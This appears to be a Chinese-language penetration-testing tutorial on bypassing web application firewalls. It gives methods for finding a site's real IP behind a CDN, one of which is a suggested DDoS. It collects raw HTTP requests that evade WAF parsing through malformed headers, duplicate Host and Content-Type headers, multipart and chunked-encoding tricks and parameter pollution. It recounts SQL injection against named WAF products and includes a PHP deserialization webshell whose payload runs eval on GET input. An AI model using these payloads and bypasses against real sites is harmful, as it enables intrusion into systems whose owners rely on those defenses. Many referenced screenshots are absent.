Bypass Waf概述

Web应用防护系统(也称为:网站应用级入侵防御系统。英文:Web Application Firewall,简称: WAF)。可以用来屏蔽常见的网站漏洞攻击,如SQL注入,XML注入、XSS等。一般针对的是应用层而非网络层的入侵,从技术角度应该称之为Web IPS。

安全人员经常遇到的各种代理转发的waf(各种云waf,硬件waf)以及软件类waf(安全狗,D盾),和web服务器或脚本实现的自带拦截功能。

  • 各种代理转发的waf都会先将发送的流量解析一遍,通过层层的判断最后发送到源服务器。bypass的思路很简单,就是找出waf是如何解析流量的,通过符合协议规范的“畸形”数据包让waf认为是正常流量达到bypass。一般来说http协议和根据网站的环境特点(不同类型的网站有不同的特点)来进行bypass。
  • 软件类的waf会对服务器上的文件进行特征检测,

Waf指纹识别

找出真实IP

IP段扫描

https://github.com/boy-hack/w8fuckcdn提供了针对IP扫描获取真实IP的程序。

  1. 通过子域名爆破获取IP段范围
  2. 对IP段进行扫描,通过特征识别真实网站

多地ping工具

通过全世界的服务器ping,有的CDN没有覆盖到的范围可能会暴露真实IP

也可通过nslookup 国外DNS来查询

历史记录

工具一:https://dnsdb.io/zh-cn/

工具二:http://history.tool.cc/whois/

工具三:http://viewdns.info/iphistory/?domain=要查询的域名地址

网站服务

一些网站发送的邮件,邮件头可能存在真实IP,网站泄露的phpinfo也会泄露真实IP

DDOS

云厂商提供的流量是有限的,可以尝试DDOS后让网站回源暴露真实IP。

基于HTTP协议的绕过

网络层WAF绕过

  • TCP分包发送HTTP(部分WAF没有TCP组包能力)
  • 通过发送大的HTTP请求包
  • 发送畸形HTTP包请求(网络层过滤有的WAF没有完全覆盖HTTP协议,各个WebServer对HTTP请求解析有细微差别)

这部分摘录自P喵呜-PHPoop师傅的Waf绕过篇,因为写的太好了,无可挑剔

0x01 前言

在讲本课的内容之前我们先来了解互联网中的HTTP是什么?

超文本传输协议(HTTP,HyperText Transfer Protocol)是互联网上应用最为广泛的一种网络协议。所有的WWW文件都必须遵守这个标准。设计HTTP最初的目的是为了提供一种发布和接收HTML页面的方法。1960年美国人Ted Nelson构思了一种通过计算机处理文本信息的方法,并称之为超文本(hypertext),这成为了HTTP超文本传输协议标准架构的发展根基。Ted Nelson组织协调万维网协会(World Wide Web Consortium)和互联网工程工作小组(Internet Engineering Task Force )共同合作研究,最终发布了一系列的RFC,其中著名的RFC 2616定义了HTTP 1.1。(百度的)

HTTP协议的主要特点

  1. 支持客户/服务器模式。
  2. 简单快速:客户向服务器请求服务时,只需传送请求方法和路径。请求方法常用的有GET、HEAD、POST。每种方法规定了客户与服务器联系的类型不同。由于HTTP协议简单,使得HTTP服务器的程序规模小,因而通信速度很快。
  3. 灵活:HTTP允许传输任意类型的数据对象。正在传输的类型由Content-Type加以标记。
  4. 无连接:无连接的含义是限制每次连接只处理一个请求。服务器处理完客户的请求,并收到客户的应答后,即断开连接。采用这种方式可以节省传输时间。
  5. 无状态:HTTP协议是无状态协议。无状态是指协议对于事务处理没有记忆能力。缺少状态意味着如果后续处理需要前面的信息,则它必须重传,这样可能导致每次连接传送的数据量增大。另一方面,在服务器不需要先前信息时它的应答就较快。

0x02 HTTP协议基础讲解

http请求由三部分组成,分别是:请求行、消息报头、请求正文

请求行以一个方法符号开头,以空格分开,后面跟着请求的URI和协议的版本,格式如下:Method Request-URI HTTP-Version CRLF其中 Method表示请求方法;Request-URI是一个统一资源标识符;HTTP-Version表示请求的HTTP协议版本;CRLF表示回车和换行(除了作为结尾的CRLF外,不允许出现单独的CR或LF字符)。

0x03 HTTP请求方法

  1. GET 请求指定的页面信息,并返回实体主体。
  2. HEAD 类似于get请求,只不过返回的响应中没有具体的内容,用于获取报头
  3. POST 向指定资源提交数据进行处理请求(例如提交表单或者上传文件)。数据被包含在请求体中POST请求可能会导致新的资源的建立和/或已有资源的修改。
  4. PUT 从客户端向服务器传送的数据取代指定的文档的内容。
  5. DELETE 请求服务器删除指定的页面。
  6. CONNECT HTTP/1.1协议中预留给能够将连接改为管道方式的代理服务器。
  7. OPTIONS 允许客户端查看服务器的性能。TRACE 回显服务器收到的请求,主要用于测试或诊断。

0x04 HTTP请求行区别

Http定义了与服务器交互的不同方法,最基本的方法有4种,分别是GET,POST,PUT,DELETE。

对应HTTP中的GET,POST,PUT,DELETE就对应着对这个资源的查,改,增,删4个操作。

现在用的比较多的是post和get方式,一般情况下,如果不说明请求方式,例如地址栏输入网址请求、

超链接请求等都是get请求,只有在form表单请求时可以设置method方式为post。

get请求方式请求数据显示在url后面,post方式显示在请求体中,空白行下面。

get方式请求数据有限制,最大为1k,而post方式理论上没有限制。

在绕WAF中 GET包 与 POST包在处理上是有区别的,先看GET与POST的区别

image1.png

image2.png

Content-Type: 实体报头域用语指明发送给接收者的实体正文的媒体类型

现在市场上大部分的WAF会解析这行 Content-Type 去识别是否是POST注入,因为要防止方法污染。所以我们就可以根据这个特性来设置不同的Content-Type利用尝试绕过WAF

0x05 协议未覆盖绕过WAF

POST 请求常用有2种参数提交方式:

Content-Type: application/x-www-form-urlencoded;

Content-Type: multipart/form-data;

Waf未能覆盖Content-Type: multipart/form-data从而导致被绕过。或者WAF会认为它是文件上传请求,从而只检测文件上传,导致被绕过。如图,下面的WAF就存在被绕过的情况,是典型的协议未覆盖。

0x06 例子一:实战绕过云锁win_3.1.6版注入(针对POST请求)

image3.png

image6.png

image7.png

我们前面说了大部分的WAF现在会去检测Content-Type 来判断当前执行的操作是什么那么如果我们修改他使用的是其他的报头一定程度上就可能可以绕过WAF

image8.png我们可以看到丝毫没有拦截就绕过去了,可见云锁没有对 Content-Type 的检测做好导致了绕过,我们来看看两个包的区别

image9.png

image10.png

成功绕过注入出数据了

0x07 例子二:实战绕过360主机卫士2.0.4.6apache版进行注入(针对GET请求)

image11.png

image12.png

image13.png

image14.png

image15.pngimage16.png

image17.png

image18.png

至于为什么可以绕过我这里猜想了一下:

云锁:

我这里猜想的想是因为 云锁在检测的时候判断问题,因为我们知道Content-Type:multipart/form-data; 是用于POST文件上传的,所以云锁检测到这个报文是上传表单的请求,就调用了上传 表单相对应的规则来检测,而忽略了我们在上传表单中一样可以传输POST数组写入恶意代码,所以我们才能注入。

360主机卫士:

360卫士的话,就比较简单了,估计程序猿是使用了惯性思维,在写代码的时候判断我们是POST请求就将重点放在POST数组中进行检测,忘记了我们有可能在传输POST数据的时候,在URL写入恶意代码,导致防护失效

0x08 总结

绕waf一定要思路骚,http协议也一定要了解,了解了http协议在了解WAF 的工作原理,我们必须正视的是,绕waf就是在绕正则,所以正则表达式一定要入门,只有这样你绕waf的时候才能脑补规则,干起活来也才能事半功倍。

常见HTTP WAF绕过清单

下面例子提供给waf绕过一些启示

添加一个换行


GET /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

请求头换为小写或更换字符

get /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
lol /login HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

请求头后面加tab(IIS)

    GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

GET /login?shell_exec HTTP/1.1

GET /login?shell.exec HTTP/1.1
GET /login?shell[exec HTTP/1.1
GET /login?shell%5bexec HTTP/1.1
GET /login?shell%2eexec HTTP/1.1
GET /login?shell%5fexec HTTP/1.1
GET /login?shell%20exec HTTP/1.1

GET /login.php?pam_param=test3

GET /login.php?pam_param=test1&pam[param=test2&pam%5bparam=test3

GET /login.php?hello=world HTTP/1.1

GET /login.php?hello%00another_text=world HTTP/1.1

HTTP Request - 绝对地址

GET http://localhost/login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

双HOST头

GET /login.php HTTP/1.1
Host: favoritewaf.com
Host: localhost
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Host 小写

GET /login.php HTTP/1.1
host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Host 不加空格

GET /login.php HTTP/1.1
Host:favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Host tab分隔

GET /login.php HTTP/1.1
Host:   favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Host 添加特殊符号

/ : \x00 \x20 \x09 \xad (IIS)

例子:

GET /login.php HTTP/1.1
Host: favoritewaf.com:12345
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
GET /login.php HTTP/1.1
Host: favoritewaf.com ignored.text
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)

Content-Type 其他类型

POST /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Content-Type: application/another-text/+++x-www-form-urlencoded

hello=world

HTTP request 错误的 Content-Length(长度小于指定的)

GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Content-Length: 1

AAAAAAAA

双 Content-Type

Content-Type: multipart/form-data; boundary=ZZZ
Content-Type: multipart/form-data; boundary=AAA

Content-Disposition

在multipart协议中,一个文件上传块存在多个Content-Disposition,将以最后一个Content-Disposition的filename值作为上传的文件名。许多WAF解析到第一个Content-Disposition就认为协议解析完毕,获得上传的文件名,从而导致被绕过。

GET /login.php HTTP/1.1
Host: favoritewaf.com
User-Agent: Mozilla/4.0 (compatible; MSIE5.01; Windows NT)
Accept-Language: en-us
Accept-Encoding: gzip, deflate
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=--------1218108630

----------1218108630
Content-Disposition: form-data; name="hello"

world
----------1218108630--
Content-Disposition: form-data; name="hello"
Content-Disposition: form-data; name="hello
Content-Disposition: form-data; name="hello"world"
Content-Disposition: attachment; name="hello"
Content-Type: multipart/form-data; boundary=x


--x
Content-Disposition:
test1;
--x
test2;
--x--
test3;
name="hello"

world

BoundaryPHP

Content-Type: multipart/form-data; myfavoriteboundaryis=X; boundary=Hello;
==
Content-Type: multipart/form-data; boundary=X;

Nullbyte

Content-Type: multipart/form-data; boundary=HELLO\x00XXXXXXXXX
==
Content-Type: multipart/form-data; boundary=HELLO

忽略 Content-Length

Content-Type: application/x-www-form-urlencoded
Content-Length: 11

hello=world

==

Content-Length: 22
Transfer-Encoding: chunked

0B
hello=world
0

==

Content-Type: application/x-www-form-urlencoded
Content-Length: 0
Transfer-Encoding: chunked

3
hel
3
lo=
3
wor
2
ld
0

云时代的WAF突破

来自Kcon2019 @pyn3rd 的议题。

WAF如何获得源IP的?

TOA(TCP Option Address)

  • 将Client IP填充到TCP Option中
  • TCP Option字段最大为60-20=40字节

IMG_1746

伪造TCP包即可绕过。

如何修复?

WAF默认替换TOA中的内容,不管里面有没有内容。

WAF 性能问题

WAF 正则dos

POST超大数据包

解决方案

采用stream模式匹配,避免block模式对内存的消耗,从而造成crash。

奇葩情况

对waf执行并发请求,有时语句会被执行,是为什么呢?

waf的并发请求,不同请求负载到不同节点,有的节点可能存在问题导致payload被放行。

HTTP协议缺陷绕过

IMG_1751

IMG_1752

不可见字符绕过

IMG_1753

IMG_1754

字符集编码绕过

IMG_1755

容器特性绕过

  • IIS服务器支持unicode解析,使用类似%u0054等的编码会自动还原,绕过一些特征检测的情况
  • image-20190901142016658
  • IMG_1756

HTTP参数污染绕过

image-20190901141905209

image-20190901141918510

image-20190901141935514

image-20190901142154364

image-20190901142220211

针对环境特征绕过

image-20190901144745829

image-20190901144802058

通过语言特性

利用php反序列化

<?php

class A{
    public $name;
    public $male;

    function __destruct(){
       $a = $this->name;
       $a($this->male);
    }
}

unserialize($_POST['un']);
?>

POST参数传入

un=O:1:"A":2:{s:4:"name";s:6:"assert";s:4:"male";s:16:"eval($_GET["x"])";}

GET参数传入

x=phpinfo();

以此类推,所有php能够动态执行代码的函数都可以尝试。

类似:

流量加密

既然它能解析流量

基于语义的waf绕过

此类waf将语义解析成对应的语法树,通过语法的回溯找出。在P牛PPT PHP动态特性的捕捉与逃逸中讲述了一段“自我博弈”的过程。具体绕过过程可以有,函数名大小写,找出非公开函数,内置函数别名,类继承突破限制,参数列表展开式,解析起缺陷绕过。

如何研究一个问题

→ 理解:理解自己研究的东西究竟是干什么的,什么原理,列出步骤,找出核心点

→ 技巧:根据核心点,想一些常人想不到的突破口,并学会举一反三,绕过防御机制或触发一些漏洞

→ 积累:即使你找到了突破口,但没有基础知识,也无法进入下一步

更多参考